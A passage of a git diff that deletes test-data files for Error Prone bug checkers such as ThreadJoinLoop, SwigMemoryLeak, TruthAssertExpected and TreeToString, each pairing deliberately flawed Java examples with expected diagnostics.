@SuppressWarnings(value = "deprecation") - @SuppressWarnings(value = {"deprecated"}) - public static void positiveCase8() {} - - // BUG: Diagnostic contains: @SuppressWarnings(value = "deprecation") - @SuppressWarnings(value = "deprecated") - public static void positiveCase9() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SwigMemoryLeakNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SwigMemoryLeakNegativeCases.java deleted file mode 100644 index 01c4654dcac..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SwigMemoryLeakNegativeCases.java +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author irogers@google.com (Ian Rogers) - */ -public class SwigMemoryLeakNegativeCases { - private long swigCPtr; - protected boolean swigCMemOwn; - - public SwigMemoryLeakNegativeCases(long cPtr, boolean cMemoryOwn) { - swigCMemOwn = cMemoryOwn; - swigCPtr = cPtr; - } - - @SuppressWarnings("removal") // deprecated for removal starting in JDK 18 - protected void finalize() { - delete(); - } - - public synchronized void delete() { - if (swigCPtr != 0) { - if (swigCMemOwn) { - swigCMemOwn = false; - nativeDelete(swigCPtr); - } - swigCPtr = 0; - } - } - - private static native void nativeDelete(long cptr); -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SwigMemoryLeakPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SwigMemoryLeakPositiveCases.java deleted file mode 100644 index 47730cc8f44..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SwigMemoryLeakPositiveCases.java +++ /dev/null @@ -1,42 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author irogers@google.com (Ian Rogers) - */ -public class SwigMemoryLeakPositiveCases { - private long swigCPtr; - protected boolean swigCMemOwn; - - public SwigMemoryLeakPositiveCases(long cPtr, boolean cMemoryOwn) { - swigCMemOwn = cMemoryOwn; - swigCPtr = cPtr; - } - - public synchronized void delete() { - if (swigCPtr != 0) { - if (swigCMemOwn) { - swigCMemOwn = false; - // BUG: Diagnostic contains: SWIG generated code that can't call a C++ destructor will leak - // memory - throw new UnsupportedOperationException("C++ destructor does not have public access"); - } - swigCPtr = 0; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThreadJoinLoopNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThreadJoinLoopNegativeCases.java deleted file mode 100644 index 0ec66eeaf0c..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThreadJoinLoopNegativeCases.java +++ /dev/null @@ -1,135 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.util.List; - -/** - * @author mariasam@google.com (Maria Sam) on 7/10/17. - */ -public class ThreadJoinLoopNegativeCases { - - public void basicCase(Thread thread) throws InterruptedException { - thread.join(); - } - - public void inIf(Thread thread) { - try { - if (7 == 7) { - thread.join(); - } - } catch (InterruptedException e) { - e.printStackTrace(); - } - } - - public void basicCaseTry(Thread thread) { - try { - thread.join(); - } catch (InterruptedException e) { - e.printStackTrace(); - } - } - - public void basicCaseWhile(Thread thread, List list) { - while (list.size() == 7) { - try { - thread.join(); - } catch (InterruptedException e) { - e.printStackTrace(); - } - } - } - - public void basicCaseFor(Thread thread, List list) { - for (int i = 0; i < list.size(); i++) { - try { - thread.join(); - } catch (InterruptedException e) { - e.printStackTrace(); - } - } - } - - public void basicCaseForEach(Thread thread, List list) { - for (String str : list) { - try { - thread.join(); - } catch (InterruptedException e) { - e.printStackTrace(); - } - } - } - - public void multipleCatches(Thread thread, int[] arr) { - try { - thread.join(); - int test = arr[10]; - } catch (ArrayIndexOutOfBoundsException e) { - // ignore - } catch (InterruptedException e) { - System.out.println("test"); - } - } - - public void fullInterruptedFullException(Thread thread) { - try { - thread.join(); - } catch (InterruptedException e) { - e.printStackTrace(); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public void justException(Thread thread) { - try { - thread.join(); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public void multipleMethodInvocations(Thread thread, Thread thread2) { - try { - thread.join(); - thread2.join(); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public void tryFinally(Thread thread) { - try { - thread.join(); - } catch (InterruptedException e) { - // ignore - } finally { - System.out.println("test finally"); - } - } - - public void tryAssigningThread(Thread thread) { - while (true) { - try { - thread.join(); - thread = null; - } catch (InterruptedException e) { - // ignore - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThreadJoinLoopPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThreadJoinLoopPositiveCases.java deleted file mode 100644 index 3b4f754cc48..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThreadJoinLoopPositiveCases.java +++ /dev/null @@ -1,184 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author mariasam@google.com (Maria Sam) on 7/10/17. - */ -class ThreadJoinLoopPositiveCases { - - public void basicCase(Thread thread) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - } catch (InterruptedException e) { - // ignore - } - } - - public void emptyInterruptedFullException(Thread thread) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - } catch (InterruptedException e) { - // ignore - } - } - - public void emptyException(Thread thread) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - } catch (Exception e) { - // ignore - } - } - - public void emptyCatchStatements(Thread thread) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - } catch (Exception e) { - ; - ; - } - } - - public void whileLoop(Thread thread) { - while (true) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - } catch (InterruptedException e) { - // ignore - } - } - } - - public void whileLoopCheck(Thread thread) { - while (thread != null) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - } catch (InterruptedException e) { - // ignore - } - } - } - - public void whileLoopVariable(Thread thread, boolean threadAlive) { - while (threadAlive) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - threadAlive = false; - } catch (InterruptedException e) { - // ignore - } - } - } - - public void basicLoopOtherStatements(Thread thread) { - while (7 == 7) { - System.out.println("test"); - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - } catch (InterruptedException e) { - // ignore - } - } - } - - public void breakStatement(Thread thread) { - while (7 == 7) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - break; - } catch (InterruptedException e) { - // ignore - } - } - } - - private void whileLoopBreak(Thread thread) { - while (true) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - break; - } catch (InterruptedException e) { - /* try again */ - } - } - } - - private void whileLoopThreadAlive(Thread thread) { - while (thread.isAlive()) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - } catch (InterruptedException e) { - // Ignore - } - } - } - - public void multipleStatements(Thread thread, boolean isAlive) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - isAlive = false; - } catch (InterruptedException e) { - // ignore - } - } - - private void arrayJoin(Thread[] threads) { - for (int i = 0; i < threads.length; i++) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(threads[i]) - threads[i].join(); - } catch (InterruptedException e) { - // ignore - } - } - } - - class MyThread extends Thread { - - public void run() { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(this) - join(); - } catch (InterruptedException e) { - // ignore - } - } - - public void whileInThread() { - while (isAlive()) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(this) - join(); - } catch (InterruptedException e) { - // Ignore. - } - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThreadJoinLoopPositiveCases_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThreadJoinLoopPositiveCases_expected.java deleted file mode 100644 index 31375fa6f03..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThreadJoinLoopPositiveCases_expected.java +++ /dev/null @@ -1,92 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.util.concurrent.Uninterruptibles; - -/** - * @author mariasam@google.com (Maria Sam) on 7/10/17. - */ -class ThreadJoinLoopPositiveCases { - - public void basicCase(Thread thread) { - Uninterruptibles.joinUninterruptibly(thread); - } - - public void emptyInterruptedFullException(Thread thread) { - Uninterruptibles.joinUninterruptibly(thread); - } - - public void emptyException(Thread thread) { - Uninterruptibles.joinUninterruptibly(thread); - } - - public void emptyCatchStatements(Thread thread) { - Uninterruptibles.joinUninterruptibly(thread); - } - - public void whileLoop(Thread thread) { - Uninterruptibles.joinUninterruptibly(thread); - } - - public void whileLoopCheck(Thread thread) { - Uninterruptibles.joinUninterruptibly(thread); - } - - public void whileLoopVariable(Thread thread, boolean threadAlive) { - Uninterruptibles.joinUninterruptibly(thread); - } - - public void basicLoopOtherStatements(Thread thread) { - while (7 == 7) { - System.out.println("test"); - Uninterruptibles.joinUninterruptibly(thread); - } - } - - public void breakStatement(Thread thread) { - Uninterruptibles.joinUninterruptibly(thread); - } - - private void whileLoopBreak(Thread thread) { - Uninterruptibles.joinUninterruptibly(thread); - } - - private void whileLoopThreadAlive(Thread thread) { - Uninterruptibles.joinUninterruptibly(thread); - } - - public void multipleStatements(Thread thread, boolean isAlive) { - Uninterruptibles.joinUninterruptibly(thread); - } - - private void arrayJoin(Thread[] threads) { - for (int i = 0; i < threads.length; i++) { - Uninterruptibles.joinUninterruptibly(threads[i]); - } - } - - class MyThread extends Thread { - - public void run() { - Uninterruptibles.joinUninterruptibly(this); - } - - public void whileInThread() { - Uninterruptibles.joinUninterruptibly(this); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowIfUncheckedKnownCheckedTestNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowIfUncheckedKnownCheckedTestNegativeCases.java deleted file mode 100644 index 827ea0e61e8..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowIfUncheckedKnownCheckedTestNegativeCases.java +++ /dev/null @@ -1,80 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.base.Throwables.propagateIfPossible; -import static com.google.common.base.Throwables.throwIfUnchecked; - -import java.io.IOException; -import java.util.concurrent.CancellationException; -import java.util.concurrent.ExecutionException; - -/** - * @author cpovirk@google.com (Chris Povirk) - */ -public class ThrowIfUncheckedKnownCheckedTestNegativeCases { - void exception(Exception e) { - throwIfUnchecked(e); - } - - void throwable(Throwable e) { - throwIfUnchecked(e); - } - - void runtime(RuntimeException e) { - // Better written as "throw e," but comes up too rarely to justify a compile error. - throwIfUnchecked(e); - } - - void error(Error e) { - // Better written as "throw e," but comes up too rarely to justify a compile error. - throwIfUnchecked(e); - } - - void multiarg(IOException e) throws IOException { - propagateIfPossible(e, IOException.class); - } - - void union() { - try { - foo(); - } catch (IOException | ExecutionException | CancellationException e) { - throwIfUnchecked(e); - } - } - - void genericUnchecked(E e) { - throwIfUnchecked(e); - } - - void genericMaybeUnchecked(E e) { - throwIfUnchecked(e); - } - - void genericUpperBoundDifferentFromErasure(E e) { - throwIfUnchecked(e); - } - - void foo() throws IOException, ExecutionException {} - - /* - * I don't care whether these are flagged or not, since it won't come up in practice. I just want - * to make sure that we don't blow up when running against the tests of Throwables. - */ - void nullException() { - throwIfUnchecked(null); // throws NPE - propagateIfPossible(null); // no-op - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowIfUncheckedKnownCheckedTestPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowIfUncheckedKnownCheckedTestPositiveCases.java deleted file mode 100644 index 71e0a59b013..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowIfUncheckedKnownCheckedTestPositiveCases.java +++ /dev/null @@ -1,53 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.base.Throwables.propagateIfPossible; -import static com.google.common.base.Throwables.throwIfUnchecked; - -import java.io.IOException; -import java.util.concurrent.ExecutionException; - -/** - * @author cpovirk@google.com (Chris Povirk) - */ -public class ThrowIfUncheckedKnownCheckedTestPositiveCases { - void simple(IOException e) { - // BUG: Diagnostic contains: no-op - throwIfUnchecked(e); - - // BUG: Diagnostic contains: no-op - propagateIfPossible(e); - } - - void union() { - try { - foo(); - } catch (IOException | ExecutionException e) { - // BUG: Diagnostic contains: no-op - throwIfUnchecked(e); - - // BUG: Diagnostic contains: no-op - propagateIfPossible(e); - } - } - - void checkedGeneric(E e) { - // BUG: Diagnostic contains: no-op - throwIfUnchecked(e); - } - - void foo() throws IOException, ExecutionException {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowsUncheckedExceptionNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowsUncheckedExceptionNegativeCases.java deleted file mode 100644 index dde000dcacb..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowsUncheckedExceptionNegativeCases.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.io.FileNotFoundException; -import java.io.IOException; - -/** - * @author yulissa@google.com (Yulissa Arroyo-Paredes) - */ -public class ThrowsUncheckedExceptionNegativeCases { - public void doSomething() { - throw new IllegalArgumentException("thrown"); - } - - public void doMore() throws IOException { - throw new FileNotFoundException("thrown"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowsUncheckedExceptionPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowsUncheckedExceptionPositiveCases.java deleted file mode 100644 index 0eb030f3fdd..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowsUncheckedExceptionPositiveCases.java +++ /dev/null @@ -1,48 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.io.IOException; - -/** - * @author yulissa@google.com (Yulissa Arroyo-Paredes) - */ -public class ThrowsUncheckedExceptionPositiveCases { - // BUG: Diagnostic contains: 'public void doSomething() {' - public void doSomething() throws IllegalArgumentException { - throw new IllegalArgumentException("thrown"); - } - - // BUG: Diagnostic contains: 'public void doSomethingElse() {' - public void doSomethingElse() throws RuntimeException, NullPointerException { - throw new NullPointerException("thrown"); - } - - // BUG: Diagnostic contains: Unchecked exceptions do not need to be declared - public void doMore() throws RuntimeException, IOException { - throw new IllegalArgumentException("thrown"); - } - - // BUG: Diagnostic contains: Unchecked exceptions do not need to be declared - public void doEverything() throws RuntimeException, IOException, IndexOutOfBoundsException { - throw new IllegalArgumentException("thrown"); - } - - // BUG: Diagnostic contains: 'public void doBetter() {' - public void doBetter() throws RuntimeException, AssertionError { - throw new RuntimeException("thrown"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TreeToStringNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TreeToStringNegativeCases.java deleted file mode 100644 index 5ce66ce51e8..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TreeToStringNegativeCases.java +++ /dev/null @@ -1,35 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -import com.google.errorprone.VisitorState; -import com.google.errorprone.bugpatterns.BugChecker; -import com.google.errorprone.util.ASTHelpers; -import com.sun.source.tree.ClassTree; -import com.sun.source.tree.Tree; - -public class TreeToStringNegativeCases { - - public static class InnerClass extends BugChecker { - - private static void foo(VisitorState state) { - Tree tree = (Tree) new Object(); - state.getSourceForNode(tree); - state.getConstantExpression(tree); - ((ClassTree) new Object()).getSimpleName().toString(); - ASTHelpers.getSymbol(tree).getSimpleName().toString(); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TreeToStringPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TreeToStringPositiveCases.java deleted file mode 100644 index e5cb0312b89..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TreeToStringPositiveCases.java +++ /dev/null @@ -1,56 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -import com.google.errorprone.VisitorState; -import com.google.errorprone.bugpatterns.BugChecker; -import com.google.errorprone.matchers.Matcher; -import com.sun.source.tree.ClassTree; -import com.sun.source.tree.ExpressionTree; -import com.sun.source.tree.Tree; - -public class TreeToStringPositiveCases { - - public static class InnerClass extends BugChecker { - private static void foo() { - Tree tree = (Tree) new Object(); - // BUG: Diagnostic contains: [TreeToString] Tree#toString shouldn't be used - tree.toString(); - } - - private static final Matcher MATCHER1 = - (tree, state) -> { - ExpressionTree packageName = state.getPath().getCompilationUnit().getPackageName(); - // BUG: Diagnostic contains: [TreeToString] Tree#toString shouldn't be used - packageName.toString(); - - // BUG: Diagnostic contains: [TreeToString] Tree#toString shouldn't be used - state.getPath().getCompilationUnit().getPackageName().toString(); - - return false; - }; - - private static final Matcher MATCHER2 = - new Matcher() { - @Override - public boolean matches(ClassTree classTree, VisitorState state) { - ExpressionTree packageName = state.getPath().getCompilationUnit().getPackageName(); - // BUG: Diagnostic contains: - packageName.toString(); - return false; - } - }; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthAssertExpectedNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthAssertExpectedNegativeCases.java deleted file mode 100644 index 2d1ae54da91..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthAssertExpectedNegativeCases.java +++ /dev/null @@ -1,67 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; - -import com.google.common.collect.ImmutableList; - -/** - * Negative test cases for TruthAssertExpected check. - * - * @author ghm@google.com (Graeme Morgan) - */ -final class TruthAssertExpectedNegativeCases { - private static final Object expected = new Object(); - private static final Object actual = new Object(); - private static final Object foo = new Object(); - private static final long CONSTANT = 1L; - - private enum Enum { - A, - B; - } - - private void simple() { - assertThat(foo).isEqualTo(expected); - - assertThat(expected.hashCode()).isEqualTo(expected.hashCode()); - assertThat(hashCode()).isEqualTo(foo); - } - - private void actualAndExpectedTogether(int delay) { - int actualDelayInExpectedUnits = 1; - assertThat(actualDelayInExpectedUnits).isEqualTo(delay); - } - - private void expectedExceptions() { - Exception expectedException = new Exception("Oh no."); - assertThat(expectedException).hasMessageThat().isEqualTo("Oh no."); - assertThat(expectedException.getClass()).isEqualTo(hashCode()); - } - - private void staticFactoryMethod() { - assertThat(expected).isEqualTo(Long.valueOf(10L)); - assertThat(expected).isEqualTo(ImmutableList.of(1)); - } - - private void constantValues() { - assertThat(expected).isEqualTo(Enum.A); - assertThat(expected).isEqualTo(10L); - assertThat(expected).isEqualTo(CONSTANT); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthAssertExpectedPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthAssertExpectedPositiveCases.java deleted file mode 100644 index a26883907a9..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthAssertExpectedPositiveCases.java +++ /dev/null @@ -1,66 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; -import static com.google.common.truth.Truth.assertWithMessage; - -import com.google.common.collect.ImmutableList; - -/** - * Positive test cases for TruthAssertExpected check. - * - * @author ghm@google.com (Graeme Morgan) - */ -final class TruthAssertExpectedPositiveCases { - private static final ImmutableList EXPECTED_LIST = ImmutableList.of(); - private static final float EXPECTED_FLOAT = 1f; - - private float actualFloat() { - return 3.14f; - } - - private void simple() { - Object expected = new Object(); - Object actual = new Object(); - Object foo = new Object(); - // BUG: Diagnostic contains: assertThat(foo).isEqualTo(expected) - assertThat(expected).isEqualTo(foo); - // BUG: Diagnostic contains: assertThat(foo).isNotEqualTo(expected) - assertThat(expected).isNotEqualTo(foo); - - // BUG: Diagnostic contains: assertWithMessage("reversed!").that(actual).isEqualTo(expected) - assertWithMessage("reversed!").that(expected).isEqualTo(actual); - - // BUG: Diagnostic contains: assertThat(actual.hashCode()).isEqualTo(expected.hashCode()) - assertThat(expected.hashCode()).isEqualTo(actual.hashCode()); - } - - private void tolerantFloats() { - // BUG: Diagnostic contains: assertThat(actualFloat()).isWithin(1f).of(EXPECTED_FLOAT) - assertThat(EXPECTED_FLOAT).isWithin(1f).of(actualFloat()); - } - - private void lists() { - // BUG: Diagnostic contains: - // assertThat(ImmutableList.of(this)).containsExactlyElementsIn(EXPECTED_LIST); - assertThat(EXPECTED_LIST).containsExactlyElementsIn(ImmutableList.of(this)); - // BUG: Diagnostic contains: - // assertThat(ImmutableList.of(this)).containsExactlyElementsIn(EXPECTED_LIST).inOrder(); - assertThat(EXPECTED_LIST).containsExactlyElementsIn(ImmutableList.of(this)).inOrder(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthConstantAssertsNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthConstantAssertsNegativeCases.java deleted file mode 100644 index a018ebc429a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthConstantAssertsNegativeCases.java +++ /dev/null @@ -1,39 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; - -/** - * Negative test cases for TruthConstantAsserts check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class TruthConstantAssertsNegativeCases { - - public void testNegativeCases() { - assertThat(new TruthConstantAssertsNegativeCases()).isEqualTo(Boolean.TRUE); - assertThat(getObject()).isEqualTo(Boolean.TRUE); - - // assertion called on constant with constant expectation is ignored. - assertThat(Boolean.FALSE).isEqualTo(4.2); - } - - private static TruthConstantAssertsNegativeCases getObject() { - return new TruthConstantAssertsNegativeCases(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthConstantAssertsPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthConstantAssertsPositiveCases.java deleted file mode 100644 index 42afa95c8f4..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthConstantAssertsPositiveCases.java +++ /dev/null @@ -1,52 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; - -/** - * Positive test cases for TruthConstantAsserts check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class TruthConstantAssertsPositiveCases { - - public void testAssertThat() { - // BUG: Diagnostic contains: assertThat(new TruthConstantAssertsPositiveCases()).isEqualTo(1); - assertThat(1).isEqualTo(new TruthConstantAssertsPositiveCases()); - - // BUG: Diagnostic contains: assertThat(someStaticMethod()).isEqualTo("my string"); - assertThat("my 